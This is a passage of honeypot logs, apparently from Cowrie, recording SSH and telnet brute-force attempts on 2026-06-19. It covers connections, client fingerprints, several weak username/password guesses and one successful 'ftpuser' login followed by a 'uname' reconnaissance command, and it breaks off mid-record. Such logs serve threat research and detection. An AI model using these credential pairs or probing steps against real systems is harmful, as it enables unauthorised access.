{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":40508,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ca6a1a55601","protocol":"ssh","message":"New connection: 197.5.145.150:40508 (10.17.0.5:22) [session: 9ca6a1a55601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:39.560296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:39.564291Z","src_ip":"197.5.145.150","session":"9ca6a1a55601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:39.676265Z","src_ip":"197.5.145.150","session":"9ca6a1a55601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtest","message":"login attempt [test/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:40.166052Z","src_ip":"197.5.145.150","session":"9ca6a1a55601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:41.282349Z","src_ip":"197.5.145.150","session":"9ca6a1a55601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":13920,"dst_ip":"10.17.0.5","dst_port":22,"session":"c95e618cd1c2","protocol":"ssh","message":"New connection: 141.11.88.14:13920 (10.17.0.5:22) [session: c95e618cd1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:45.661877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:45.761350Z","src_ip":"141.11.88.14","session":"c95e618cd1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:45.765077Z","src_ip":"141.11.88.14","session":"c95e618cd1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35064,"dst_ip":"10.17.0.5","dst_port":22,"session":"e198604a072b","protocol":"ssh","message":"New connection: 27.71.230.31:35064 (10.17.0.5:22) [session: e198604a072b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:46.160782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:46.190965Z","src_ip":"27.71.230.31","session":"e198604a072b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:46.429549Z","src_ip":"27.71.230.31","session":"e198604a072b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:46.454136Z","src_ip":"141.11.88.14","session":"c95e618cd1c2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:46.662916Z","src_ip":"141.11.88.14","session":"c95e618cd1c2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:46.666082Z","src_ip":"141.11.88.14","session":"c95e618cd1c2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:46.755010Z","src_ip":"141.11.88.14","session":"c95e618cd1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:46.760835Z","src_ip":"141.11.88.14","session":"c95e618cd1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":51340,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a5fe62ecc27","protocol":"ssh","message":"New connection: 141.11.88.14:51340 (10.17.0.5:22) [session: 2a5fe62ecc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:52.990481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:53.146382Z","src_ip":"141.11.88.14","session":"2a5fe62ecc27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:53.149921Z","src_ip":"141.11.88.14","session":"2a5fe62ecc27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:53.898367Z","src_ip":"141.11.88.14","session":"2a5fe62ecc27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:55.063535Z","src_ip":"141.11.88.14","session":"2a5fe62ecc27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":28004,"dst_ip":"10.17.0.5","dst_port":22,"session":"125cb68a345e","protocol":"ssh","message":"New connection: 141.11.88.14:28004 (10.17.0.5:22) [session: 125cb68a345e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:01.358407Z"}
{"eventid":"cowrie.session.closed","duration":47.00993061065674,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:01.418622Z","src_ip":"128.199.8.54","session":"91a69bbef19c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:01.424646Z","src_ip":"141.11.88.14","session":"125cb68a345e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:01.469797Z","src_ip":"141.11.88.14","session":"125cb68a345e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:01.828807Z","src_ip":"141.11.88.14","session":"125cb68a345e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55472,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d50cd4e3b23","protocol":"telnet","message":"New connection: 128.199.8.54:55472 (159.203.135.109:23) [session: 6d50cd4e3b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:02.562852Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:02.975219Z","src_ip":"141.11.88.14","session":"125cb68a345e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.208","src_port":52545,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ecb0f5bfa70","protocol":"telnet","message":"New connection: 91.230.168.208:52545 (159.203.135.109:23) [session: 4ecb0f5bfa70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:03.989927Z"}
{"eventid":"cowrie.session.closed","duration":0.0074160099029541016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:03.997185Z","src_ip":"91.230.168.208","session":"4ecb0f5bfa70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.210","src_port":36359,"dst_ip":"159.203.135.109","dst_port":23,"session":"77124dcba19d","protocol":"telnet","message":"New connection: 91.230.168.210:36359 (159.203.135.109:23) [session: 77124dcba19d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:04.069267Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48250,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f0d6b4ce811","protocol":"ssh","message":"New connection: 141.11.88.14:48250 (10.17.0.5:22) [session: 6f0d6b4ce811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:10.179617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:10.290292Z","src_ip":"141.11.88.14","session":"6f0d6b4ce811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:10.293789Z","src_ip":"141.11.88.14","session":"6f0d6b4ce811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":33852,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e09064bfd26","protocol":"ssh","message":"New connection: 197.5.145.150:33852 (10.17.0.5:22) [session: 6e09064bfd26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:10.795636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:10.799601Z","src_ip":"197.5.145.150","session":"6e09064bfd26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:10.917730Z","src_ip":"197.5.145.150","session":"6e09064bfd26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:11.413762Z","src_ip":"141.11.88.14","session":"6f0d6b4ce811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"12345678","message":"login attempt [Admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:11.426955Z","src_ip":"197.5.145.150","session":"6e09064bfd26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:12.547272Z","src_ip":"197.5.145.150","session":"6e09064bfd26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:12.553430Z","src_ip":"141.11.88.14","session":"6f0d6b4ce811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.086652755737305,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:14.155784Z","src_ip":"91.230.168.210","session":"77124dcba19d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44450,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b26f43814e","protocol":"ssh","message":"New connection: 77.94.47.83:44450 (159.203.135.109:22) [session: 51b26f43814e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:15.593787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:15.598188Z","src_ip":"77.94.47.83","session":"51b26f43814e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 